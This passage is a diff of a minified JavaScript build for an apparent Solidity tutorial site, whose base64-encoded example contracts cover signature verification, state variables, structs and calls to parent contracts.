AgICAgIGVmZmVjdGl2ZWx5LCBza2lwcyBmaXJzdCAzMiBieXRlcyBvZiBzaWduYXR1cmUKCiAgICAgICAgICAgIG1sb2FkKHApIGxvYWRzIG5leHQgMzIgYnl0ZXMgc3RhcnRpbmcgYXQgdGhlIG1lbW9yeSBhZGRyZXNzIHAgaW50byBtZW1vcnkKICAgICAgICAgICAgKi8KCiAgICAgICAgICAgIC8vIGZpcnN0IDMyIGJ5dGVzLCBhZnRlciB0aGUgbGVuZ3RoIHByZWZpeAogICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWcsIDMyKSkKICAgICAgICAgICAgLy8gc2Vjb25kIDMyIGJ5dGVzCiAgICAgICAgICAgIHMgOj0gbWxvYWQoYWRkKHNpZywgNjQpKQogICAgICAgICAgICAvLyBmaW5hbCBieXRlIChmaXJzdCBieXRlIG9mIHRoZSBuZXh0IDMyIGJ5dGVzKQogICAgICAgICAgICB2IDo9IGJ5dGUoMCwgbWxvYWQoYWRkKHNpZywgOTYpKSkKICAgICAgICB9CgogICAgICAgIC8vIGltcGxpY2l0bHkgcmV0dXJuIChyLCBzLCB2KQogICAgfQp9Cg=="}],zW=`

                                            Messages can be signed off chain and then verified on chain using a smart contract.

                                            +`,KW=({prev:s,next:a})=>r.jsx(A,{version:XW,title:vW,description:NW,html:FW,prev:s,next:a,codes:HW}),MW="0.8.24",SW="Verifying Signature",xW="An example of how to verify signatures in Solidity",JW=[{fileName:"Signature.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIFNpZ25hdHVyZSBWZXJpZmljYXRpb24KCkhvdyB0byBTaWduIGFuZCBWZXJpZnkKIyBTaWduaW5nCjEuIENyZWF0ZSBtZXNzYWdlIHRvIHNpZ24KMi4gSGFzaCB0aGUgbWVzc2FnZQozLiBTaWduIHRoZSBoYXNoIChvZmYgY2hhaW4sIGtlZXAgeW91ciBwcml2YXRlIGtleSBzZWNyZXQpCgojIFZlcmlmeQoxLiBSZWNyZWF0ZSBoYXNoIGZyb20gdGhlIG9yaWdpbmFsIG1lc3NhZ2UKMi4gUmVjb3ZlciBzaWduZXIgZnJvbSBzaWduYXR1cmUgYW5kIGhhc2gKMy4gQ29tcGFyZSByZWNvdmVyZWQgc2lnbmVyIHRvIGNsYWltZWQgc2lnbmVyCiovCgpjb250cmFjdCBWZXJpZnlTaWduYXR1cmUgewogICAgLyogMS4gVW5sb2NrIE1ldGFNYXNrIGFjY291bnQKICAgIGV0aGVyZXVtLmVuYWJsZSgpCiAgICAqLwoKICAgIC8qIDIuIEdldCBtZXNzYWdlIGhhc2ggdG8gc2lnbgogICAgZ2V0TWVzc2FnZUhhc2goCiAgICAgICAgMHgxNDcyM0EwOUFDZmY2RDJBNjBEY2RGN2FBNEFGZjMwOEZEREMxNjBDLAogICAgICAgIDEyMywKICAgICAgICAiY29mZmVlIGFuZCBkb251dHMiLAogICAgICAgIDEKICAgICkKCiAgICBoYXNoID0gIjB4Y2YzNmFjNGY5N2RjMTBkOTFmYzJjYmIyMGQ3MThlOTRhOGNiZmUwZjgyZWFlZGM2YTRhYTM4OTQ2ZmI3OTdjZCIKICAgICovCiAgICBmdW5jdGlvbiBnZXRNZXNzYWdlSGFzaCgKICAgICAgICBhZGRyZXNzIF90bywKICAgICAgICB1aW50MjU2IF9hbW91bnQsCiAgICAgICAgc3RyaW5nIG1lbW9yeSBfbWVzc2FnZSwKICAgICAgICB1aW50MjU2IF9ub25jZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKF90bywgX2Ftb3VudCwgX21lc3NhZ2UsIF9ub25jZSkpOwogICAgfQoKICAgIC8qIDMuIFNpZ24gbWVzc2FnZSBoYXNoCiAgICAjIHVzaW5nIGJyb3dzZXIKICAgIGFjY291bnQgPSAiY29weSBwYXN0ZSBhY2NvdW50IG9mIHNpZ25lciBoZXJlIgogICAgZXRoZXJldW0ucmVxdWVzdCh7IG1ldGhvZDogInBlcnNvbmFsX3NpZ24iLCBwYXJhbXM6IFthY2NvdW50LCBoYXNoXX0pLnRoZW4oY29uc29sZS5sb2cpCgogICAgIyB1c2luZyB3ZWIzCiAgICB3ZWIzLnBlcnNvbmFsLnNpZ24oaGFzaCwgd2ViMy5ldGguZGVmYXVsdEFjY291bnQsIGNvbnNvbGUubG9nKQoKICAgIFNpZ25hdHVyZSB3aWxsIGJlIGRpZmZlcmVudCBmb3IgZGlmZmVyZW50IGFjY291bnRzCiAgICAweDk5M2RhYjNkZDkxZjVjNmRjMjhlMTc0MzliZTQ3NTQ3OGY1NjM1YzkyYTU2ZTE3ZTgyMzQ5ZDNmYjJmMTY2MTk2ZjQ2NmMwYjRlMGMxNDZmMjg1MjA0ZjBkY2IxM2U1YWU2N2JjMzNmNGI4ODhlYzMyZGZlMGEwNjNlOGYzZjc4MWIKICAgICovCiAgICBmdW5jdGlvbiBnZXRFdGhTaWduZWRNZXNzYWdlSGFzaChieXRlczMyIF9tZXNzYWdlSGFzaCkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICAvKgogICAgICAgIFNpZ25hdHVyZSBpcyBwcm9kdWNlZCBieSBzaWduaW5nIGEga2VjY2FrMjU2IGhhc2ggd2l0aCB0aGUgZm9sbG93aW5nIGZvcm1hdDoKICAgICAgICAiXHgxOUV0aGVyZXVtIFNpZ25lZCBNZXNzYWdlXG4iICsgbGVuKG1zZykgKyBtc2cKICAgICAgICAqLwogICAgICAgIHJldHVybiBrZWNjYWsyNTYoCiAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoIlx4MTlFdGhlcmV1bSBTaWduZWQgTWVzc2FnZTpcbjMyIiwgX21lc3NhZ2VIYXNoKQogICAgICAgICk7CiAgICB9CgogICAgLyogNC4gVmVyaWZ5IHNpZ25hdHVyZQogICAgc2lnbmVyID0gMHhCMjczMjE2QzA1QThjMEQ0RjBhNERkMGQ3QmFlMUQyRWZGRTYzNmRkCiAgICB0byA9IDB4MTQ3MjNBMDlBQ2ZmNkQyQTYwRGNkRjdhQTRBRmYzMDhGRERDMTYwQwogICAgYW1vdW50ID0gMTIzCiAgICBtZXNzYWdlID0gImNvZmZlZSBhbmQgZG9udXRzIgogICAgbm9uY2UgPSAxCiAgICBzaWduYXR1cmUgPQogICAgICAgIDB4OTkzZGFiM2RkOTFmNWM2ZGMyOGUxNzQzOWJlNDc1NDc4ZjU2MzVjOTJhNTZlMTdlODIzNDlkM2ZiMmYxNjYxOTZmNDY2YzBiNGUwYzE0NmYyODUyMDRmMGRjYjEzZTVhZTY3YmMzM2Y0Yjg4OGVjMzJkZmUwYTA2M2U4ZjNmNzgxYgogICAgKi8KICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBhZGRyZXNzIF9zaWduZXIsCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludDI1NiBfYW1vdW50LAogICAgICAgIHN0cmluZyBtZW1vcnkgX21lc3NhZ2UsCiAgICAgICAgdWludDI1NiBfbm9uY2UsCiAgICAgICAgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBtZXNzYWdlSGFzaCA9IGdldE1lc3NhZ2VIYXNoKF90bywgX2Ftb3VudCwgX21lc3NhZ2UsIF9ub25jZSk7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRNZXNzYWdlSGFzaCA9IGdldEV0aFNpZ25lZE1lc3NhZ2VIYXNoKG1lc3NhZ2VIYXNoKTsKCiAgICAgICAgcmV0dXJuIHJlY292ZXJTaWduZXIoZXRoU2lnbmVkTWVzc2FnZUhhc2gsIHNpZ25hdHVyZSkgPT0gX3NpZ25lcjsKICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyU2lnbmVyKAogICAgICAgIGJ5dGVzMzIgX2V0aFNpZ25lZE1lc3NhZ2VIYXNoLAogICAgICAgIGJ5dGVzIG1lbW9yeSBfc2lnbmF0dXJlCiAgICApIHB1YmxpYyBwdXJlIHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICAoYnl0ZXMzMiByLCBieXRlczMyIHMsIHVpbnQ4IHYpID0gc3BsaXRTaWduYXR1cmUoX3NpZ25hdHVyZSk7CgogICAgICAgIHJldHVybiBlY3JlY292ZXIoX2V0aFNpZ25lZE1lc3NhZ2VIYXNoLCB2LCByLCBzKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzcGxpdFNpZ25hdHVyZShieXRlcyBtZW1vcnkgc2lnKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyIHIsIGJ5dGVzMzIgcywgdWludDggdikKICAgIHsKICAgICAgICByZXF1aXJlKHNpZy5sZW5ndGggPT0gNjUsICJpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvKgogICAgICAgICAgICBGaXJzdCAzMiBieXRlcyBzdG9yZXMgdGhlIGxlbmd0aCBvZiB0aGUgc2lnbmF0dXJlCgogICAgICAgICAgICBhZGQoc2lnLCAzMikgPSBwb2ludGVyIG9mIHNpZyArIDMyCiAgICAgICAgICAgIGVmZmVjdGl2ZWx5LCBza2lwcyBmaXJzdCAzMiBieXRlcyBvZiBzaWduYXR1cmUKCiAgICAgICAgICAgIG1sb2FkKHApIGxvYWRzIG5leHQgMzIgYnl0ZXMgc3RhcnRpbmcgYXQgdGhlIG1lbW9yeSBhZGRyZXNzIHAgaW50byBtZW1vcnkKICAgICAgICAgICAgKi8KCiAgICAgICAgICAgIC8vIGZpcnN0IDMyIGJ5dGVzLCBhZnRlciB0aGUgbGVuZ3RoIHByZWZpeAogICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWcsIDMyKSkKICAgICAgICAgICAgLy8gc2Vjb25kIDMyIGJ5dGVzCiAgICAgICAgICAgIHMgOj0gbWxvYWQoYWRkKHNpZywgNjQpKQogICAgICAgICAgICAvLyBmaW5hbCBieXRlIChmaXJzdCBieXRlIG9mIHRoZSBuZXh0IDMyIGJ5dGVzKQogICAgICAgICAgICB2IDo9IGJ5dGUoMCwgbWxvYWQoYWRkKHNpZywgOTYpKSkKICAgICAgICB9CgogICAgICAgIC8vIGltcGxpY2l0bHkgcmV0dXJuIChyLCBzLCB2KQogICAgfQp9Cg=="}],zW=`

                                            Messages can be signed off chain and then verified on chain using a smart contract.

                                            Example using ethers.js

                                            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -11494,7 +11494,7 @@ How to Sign and Verify
         // implicitly return (r, s, v)
     }
 }
-
                                            `,DW=({prev:s,next:a})=>r.jsx(u,{version:MW,title:SW,description:xW,html:zW,prev:s,next:a,codes:JW}),EW="0.8.24",QW="Reading and Writing to a State Variable",TW="Reading and Writing to a State Variable",UW=[{fileName:"SimpleStorage.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFNpbXBsZVN0b3JhZ2UgewogICAgLy8gU3RhdGUgdmFyaWFibGUgdG8gc3RvcmUgYSBudW1iZXIKICAgIHVpbnQyNTYgcHVibGljIG51bTsKCiAgICAvLyBZb3UgbmVlZCB0byBzZW5kIGEgdHJhbnNhY3Rpb24gdG8gd3JpdGUgdG8gYSBzdGF0ZSB2YXJpYWJsZS4KICAgIGZ1bmN0aW9uIHNldCh1aW50MjU2IF9udW0pIHB1YmxpYyB7CiAgICAgICAgbnVtID0gX251bTsKICAgIH0KCiAgICAvLyBZb3UgY2FuIHJlYWQgZnJvbSBhIHN0YXRlIHZhcmlhYmxlIHdpdGhvdXQgc2VuZGluZyBhIHRyYW5zYWN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBudW07CiAgICB9Cn0K"}],_W=`

                                            To write or update a state variable you need to send a transaction.

                                            +`,DW=({prev:s,next:a})=>r.jsx(A,{version:MW,title:SW,description:xW,html:zW,prev:s,next:a,codes:JW}),EW="0.8.24",QW="Reading and Writing to a State Variable",TW="Reading and Writing to a State Variable",UW=[{fileName:"SimpleStorage.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFNpbXBsZVN0b3JhZ2UgewogICAgLy8gU3RhdGUgdmFyaWFibGUgdG8gc3RvcmUgYSBudW1iZXIKICAgIHVpbnQyNTYgcHVibGljIG51bTsKCiAgICAvLyBZb3UgbmVlZCB0byBzZW5kIGEgdHJhbnNhY3Rpb24gdG8gd3JpdGUgdG8gYSBzdGF0ZSB2YXJpYWJsZS4KICAgIGZ1bmN0aW9uIHNldCh1aW50MjU2IF9udW0pIHB1YmxpYyB7CiAgICAgICAgbnVtID0gX251bTsKICAgIH0KCiAgICAvLyBZb3UgY2FuIHJlYWQgZnJvbSBhIHN0YXRlIHZhcmlhYmxlIHdpdGhvdXQgc2VuZGluZyBhIHRyYW5zYWN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBudW07CiAgICB9Cn0K"}],_W=`

                                            To write or update a state variable you need to send a transaction.

                                            On the other hand, you can read state variables, for free, without any transaction fee.

                                            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -11513,7 +11513,7 @@ How to Sign and Verify
         return num;
     }
 }
-
                                            `,LW=({prev:s,next:a})=>r.jsx(u,{version:EW,title:QW,description:TW,html:_W,prev:s,next:a,codes:UW}),OW="0.8.24",PW="Structs",$W="An example of how to use structs in Solidity",qW=[{fileName:"StructDeclaration.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKLy8gVGhpcyBpcyBzYXZlZCAnU3RydWN0RGVjbGFyYXRpb24uc29sJwoKc3RydWN0IFRvZG8gewogICAgc3RyaW5nIHRleHQ7CiAgICBib29sIGNvbXBsZXRlZDsKfQo="},{fileName:"StructImport.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9TdHJ1Y3REZWNsYXJhdGlvbi5zb2wiOwoKY29udHJhY3QgVG9kb3MgewogICAgLy8gQW4gYXJyYXkgb2YgJ1RvZG8nIHN0cnVjdHMKICAgIFRvZG9bXSBwdWJsaWMgdG9kb3M7Cn0K"},{fileName:"Structs.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRvZG9zIHsKICAgIHN0cnVjdCBUb2RvIHsKICAgICAgICBzdHJpbmcgdGV4dDsKICAgICAgICBib29sIGNvbXBsZXRlZDsKICAgIH0KCiAgICAvLyBBbiBhcnJheSBvZiAnVG9kbycgc3RydWN0cwogICAgVG9kb1tdIHB1YmxpYyB0b2RvczsKCiAgICBmdW5jdGlvbiBjcmVhdGUoc3RyaW5nIGNhbGxkYXRhIF90ZXh0KSBwdWJsaWMgewogICAgICAgIC8vIDMgd2F5cyB0byBpbml0aWFsaXplIGEgc3RydWN0CiAgICAgICAgLy8gLSBjYWxsaW5nIGl0IGxpa2UgYSBmdW5jdGlvbgogICAgICAgIHRvZG9zLnB1c2goVG9kbyhfdGV4dCwgZmFsc2UpKTsKCiAgICAgICAgLy8ga2V5IHZhbHVlIG1hcHBpbmcKICAgICAgICB0b2Rvcy5wdXNoKFRvZG8oe3RleHQ6IF90ZXh0LCBjb21wbGV0ZWQ6IGZhbHNlfSkpOwoKICAgICAgICAvLyBpbml0aWFsaXplIGFuIGVtcHR5IHN0cnVjdCBhbmQgdGhlbiB1cGRhdGUgaXQKICAgICAgICBUb2RvIG1lbW9yeSB0b2RvOwogICAgICAgIHRvZG8udGV4dCA9IF90ZXh0OwogICAgICAgIC8vIHRvZG8uY29tcGxldGVkIGluaXRpYWxpemVkIHRvIGZhbHNlCgogICAgICAgIHRvZG9zLnB1c2godG9kbyk7CiAgICB9CgogICAgLy8gU29saWRpdHkgYXV0b21hdGljYWxseSBjcmVhdGVkIGEgZ2V0dGVyIGZvciAndG9kb3MnIHNvCiAgICAvLyB5b3UgZG9uJ3QgYWN0dWFsbHkgbmVlZCB0aGlzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KHVpbnQyNTYgX2luZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChzdHJpbmcgbWVtb3J5IHRleHQsIGJvb2wgY29tcGxldGVkKQogICAgewogICAgICAgIFRvZG8gc3RvcmFnZSB0b2RvID0gdG9kb3NbX2luZGV4XTsKICAgICAgICByZXR1cm4gKHRvZG8udGV4dCwgdG9kby5jb21wbGV0ZWQpOwogICAgfQoKICAgIC8vIHVwZGF0ZSB0ZXh0CiAgICBmdW5jdGlvbiB1cGRhdGVUZXh0KHVpbnQyNTYgX2luZGV4LCBzdHJpbmcgY2FsbGRhdGEgX3RleHQpIHB1YmxpYyB7CiAgICAgICAgVG9kbyBzdG9yYWdlIHRvZG8gPSB0b2Rvc1tfaW5kZXhdOwogICAgICAgIHRvZG8udGV4dCA9IF90ZXh0OwogICAgfQoKICAgIC8vIHVwZGF0ZSBjb21wbGV0ZWQKICAgIGZ1bmN0aW9uIHRvZ2dsZUNvbXBsZXRlZCh1aW50MjU2IF9pbmRleCkgcHVibGljIHsKICAgICAgICBUb2RvIHN0b3JhZ2UgdG9kbyA9IHRvZG9zW19pbmRleF07CiAgICAgICAgdG9kby5jb21wbGV0ZWQgPSAhdG9kby5jb21wbGV0ZWQ7CiAgICB9Cn0K"}],s2=`

                                            You can define your own type by creating a struct.

                                            +`,LW=({prev:s,next:a})=>r.jsx(A,{version:EW,title:QW,description:TW,html:_W,prev:s,next:a,codes:UW}),OW="0.8.24",PW="Structs",$W="An example of how to use structs in Solidity",qW=[{fileName:"StructDeclaration.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKLy8gVGhpcyBpcyBzYXZlZCAnU3RydWN0RGVjbGFyYXRpb24uc29sJwoKc3RydWN0IFRvZG8gewogICAgc3RyaW5nIHRleHQ7CiAgICBib29sIGNvbXBsZXRlZDsKfQo="},{fileName:"StructImport.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9TdHJ1Y3REZWNsYXJhdGlvbi5zb2wiOwoKY29udHJhY3QgVG9kb3MgewogICAgLy8gQW4gYXJyYXkgb2YgJ1RvZG8nIHN0cnVjdHMKICAgIFRvZG9bXSBwdWJsaWMgdG9kb3M7Cn0K"},{fileName:"Structs.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRvZG9zIHsKICAgIHN0cnVjdCBUb2RvIHsKICAgICAgICBzdHJpbmcgdGV4dDsKICAgICAgICBib29sIGNvbXBsZXRlZDsKICAgIH0KCiAgICAvLyBBbiBhcnJheSBvZiAnVG9kbycgc3RydWN0cwogICAgVG9kb1tdIHB1YmxpYyB0b2RvczsKCiAgICBmdW5jdGlvbiBjcmVhdGUoc3RyaW5nIGNhbGxkYXRhIF90ZXh0KSBwdWJsaWMgewogICAgICAgIC8vIDMgd2F5cyB0byBpbml0aWFsaXplIGEgc3RydWN0CiAgICAgICAgLy8gLSBjYWxsaW5nIGl0IGxpa2UgYSBmdW5jdGlvbgogICAgICAgIHRvZG9zLnB1c2goVG9kbyhfdGV4dCwgZmFsc2UpKTsKCiAgICAgICAgLy8ga2V5IHZhbHVlIG1hcHBpbmcKICAgICAgICB0b2Rvcy5wdXNoKFRvZG8oe3RleHQ6IF90ZXh0LCBjb21wbGV0ZWQ6IGZhbHNlfSkpOwoKICAgICAgICAvLyBpbml0aWFsaXplIGFuIGVtcHR5IHN0cnVjdCBhbmQgdGhlbiB1cGRhdGUgaXQKICAgICAgICBUb2RvIG1lbW9yeSB0b2RvOwogICAgICAgIHRvZG8udGV4dCA9IF90ZXh0OwogICAgICAgIC8vIHRvZG8uY29tcGxldGVkIGluaXRpYWxpemVkIHRvIGZhbHNlCgogICAgICAgIHRvZG9zLnB1c2godG9kbyk7CiAgICB9CgogICAgLy8gU29saWRpdHkgYXV0b21hdGljYWxseSBjcmVhdGVkIGEgZ2V0dGVyIGZvciAndG9kb3MnIHNvCiAgICAvLyB5b3UgZG9uJ3QgYWN0dWFsbHkgbmVlZCB0aGlzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KHVpbnQyNTYgX2luZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChzdHJpbmcgbWVtb3J5IHRleHQsIGJvb2wgY29tcGxldGVkKQogICAgewogICAgICAgIFRvZG8gc3RvcmFnZSB0b2RvID0gdG9kb3NbX2luZGV4XTsKICAgICAgICByZXR1cm4gKHRvZG8udGV4dCwgdG9kby5jb21wbGV0ZWQpOwogICAgfQoKICAgIC8vIHVwZGF0ZSB0ZXh0CiAgICBmdW5jdGlvbiB1cGRhdGVUZXh0KHVpbnQyNTYgX2luZGV4LCBzdHJpbmcgY2FsbGRhdGEgX3RleHQpIHB1YmxpYyB7CiAgICAgICAgVG9kbyBzdG9yYWdlIHRvZG8gPSB0b2Rvc1tfaW5kZXhdOwogICAgICAgIHRvZG8udGV4dCA9IF90ZXh0OwogICAgfQoKICAgIC8vIHVwZGF0ZSBjb21wbGV0ZWQKICAgIGZ1bmN0aW9uIHRvZ2dsZUNvbXBsZXRlZCh1aW50MjU2IF9pbmRleCkgcHVibGljIHsKICAgICAgICBUb2RvIHN0b3JhZ2UgdG9kbyA9IHRvZG9zW19pbmRleF07CiAgICAgICAgdG9kby5jb21wbGV0ZWQgPSAhdG9kby5jb21wbGV0ZWQ7CiAgICB9Cn0K"}],s2=`

                                            You can define your own type by creating a struct.

                                            They are useful for grouping together related data.

                                            Structs can be declared outside of a contract and imported in another contract.

                                            // SPDX-License-Identifier: MIT
@@ -11587,7 +11587,7 @@ How to Sign and Verify
     // An array of 'Todo' structs
     Todo[] public todos;
 }
-
                                            `,a2=({prev:s,next:a})=>r.jsx(u,{version:OW,title:PW,description:$W,html:s2,prev:s,next:a,codes:qW}),n2="0.8.24",l2="Calling Parent Contracts",p2="An example of calling parent contracts in Solidity",e2=[{fileName:"Super.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIEluaGVyaXRhbmNlIHRyZWUKICAgQQogLyAgXApCICAgQwogXCAvCiAgRAoqLwoKY29udHJhY3QgQSB7CiAgICAvLyBUaGlzIGlzIGNhbGxlZCBhbiBldmVudC4gWW91IGNhbiBlbWl0IGV2ZW50cyBmcm9tIHlvdXIgZnVuY3Rpb24KICAgIC8vIGFuZCB0aGV5IGFyZSBsb2dnZWQgaW50byB0aGUgdHJhbnNhY3Rpb24gbG9nLgogICAgLy8gSW4gb3VyIGNhc2UsIHRoaXMgd2lsbCBiZSB1c2VmdWwgZm9yIHRyYWNpbmcgZnVuY3Rpb24gY2FsbHMuCiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyB2aXJ0dWFsIHsKICAgICAgICBlbWl0IExvZygiQS5mb28gY2FsbGVkIik7CiAgICB9CgogICAgZnVuY3Rpb24gYmFyKCkgcHVibGljIHZpcnR1YWwgewogICAgICAgIGVtaXQgTG9nKCJBLmJhciBjYWxsZWQiKTsKICAgIH0KfQoKY29udHJhY3QgQiBpcyBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyB2aXJ0dWFsIG92ZXJyaWRlIHsKICAgICAgICBlbWl0IExvZygiQi5mb28gY2FsbGVkIik7CiAgICAgICAgQS5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgdmlydHVhbCBvdmVycmlkZSB7CiAgICAgICAgZW1pdCBMb2coIkIuYmFyIGNhbGxlZCIpOwogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cgpjb250cmFjdCBDIGlzIEEgewogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHZpcnR1YWwgb3ZlcnJpZGUgewogICAgICAgIGVtaXQgTG9nKCJDLmZvbyBjYWxsZWQiKTsKICAgICAgICBBLmZvbygpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJhcigpIHB1YmxpYyB2aXJ0dWFsIG92ZXJyaWRlIHsKICAgICAgICBlbWl0IExvZygiQy5iYXIgY2FsbGVkIik7CiAgICAgICAgc3VwZXIuYmFyKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEQgaXMgQiwgQyB7CiAgICAvLyBUcnk6CiAgICAvLyAtIENhbGwgRC5mb28gYW5kIGNoZWNrIHRoZSB0cmFuc2FjdGlvbiBsb2dzLgogICAgLy8gICBBbHRob3VnaCBEIGluaGVyaXRzIEEsIEIgYW5kIEMsIGl0IG9ubHkgY2FsbGVkIEMgYW5kIHRoZW4gQS4KICAgIC8vIC0gQ2FsbCBELmJhciBhbmQgY2hlY2sgdGhlIHRyYW5zYWN0aW9uIGxvZ3MKICAgIC8vICAgRCBjYWxsZWQgQywgdGhlbiBCLCBhbmQgZmluYWxseSBBLgogICAgLy8gICBBbHRob3VnaCBzdXBlciB3YXMgY2FsbGVkIHR3aWNlIChieSBCIGFuZCBDKSBpdCBvbmx5IGNhbGxlZCBBIG9uY2UuCgogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIG92ZXJyaWRlKEIsIEMpIHsKICAgICAgICBzdXBlci5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgb3ZlcnJpZGUoQiwgQykgewogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cg=="}],c2=`

                                            Parent contracts can be called directly, or by using the keyword super.

                                            +`,a2=({prev:s,next:a})=>r.jsx(A,{version:OW,title:PW,description:$W,html:s2,prev:s,next:a,codes:qW}),n2="0.8.24",l2="Calling Parent Contracts",p2="An example of calling parent contracts in Solidity",e2=[{fileName:"Super.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIEluaGVyaXRhbmNlIHRyZWUKICAgQQogLyAgXApCICAgQwogXCAvCiAgRAoqLwoKY29udHJhY3QgQSB7CiAgICAvLyBUaGlzIGlzIGNhbGxlZCBhbiBldmVudC4gWW91IGNhbiBlbWl0IGV2ZW50cyBmcm9tIHlvdXIgZnVuY3Rpb24KICAgIC8vIGFuZCB0aGV5IGFyZSBsb2dnZWQgaW50byB0aGUgdHJhbnNhY3Rpb24gbG9nLgogICAgLy8gSW4gb3VyIGNhc2UsIHRoaXMgd2lsbCBiZSB1c2VmdWwgZm9yIHRyYWNpbmcgZnVuY3Rpb24gY2FsbHMuCiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyB2aXJ0dWFsIHsKICAgICAgICBlbWl0IExvZygiQS5mb28gY2FsbGVkIik7CiAgICB9CgogICAgZnVuY3Rpb24gYmFyKCkgcHVibGljIHZpcnR1YWwgewogICAgICAgIGVtaXQgTG9nKCJBLmJhciBjYWxsZWQiKTsKICAgIH0KfQoKY29udHJhY3QgQiBpcyBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyB2aXJ0dWFsIG92ZXJyaWRlIHsKICAgICAgICBlbWl0IExvZygiQi5mb28gY2FsbGVkIik7CiAgICAgICAgQS5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgdmlydHVhbCBvdmVycmlkZSB7CiAgICAgICAgZW1pdCBMb2coIkIuYmFyIGNhbGxlZCIpOwogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cgpjb250cmFjdCBDIGlzIEEgewogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHZpcnR1YWwgb3ZlcnJpZGUgewogICAgICAgIGVtaXQgTG9nKCJDLmZvbyBjYWxsZWQiKTsKICAgICAgICBBLmZvbygpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJhcigpIHB1YmxpYyB2aXJ0dWFsIG92ZXJyaWRlIHsKICAgICAgICBlbWl0IExvZygiQy5iYXIgY2FsbGVkIik7CiAgICAgICAgc3VwZXIuYmFyKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEQgaXMgQiwgQyB7CiAgICAvLyBUcnk6CiAgICAvLyAtIENhbGwgRC5mb28gYW5kIGNoZWNrIHRoZSB0cm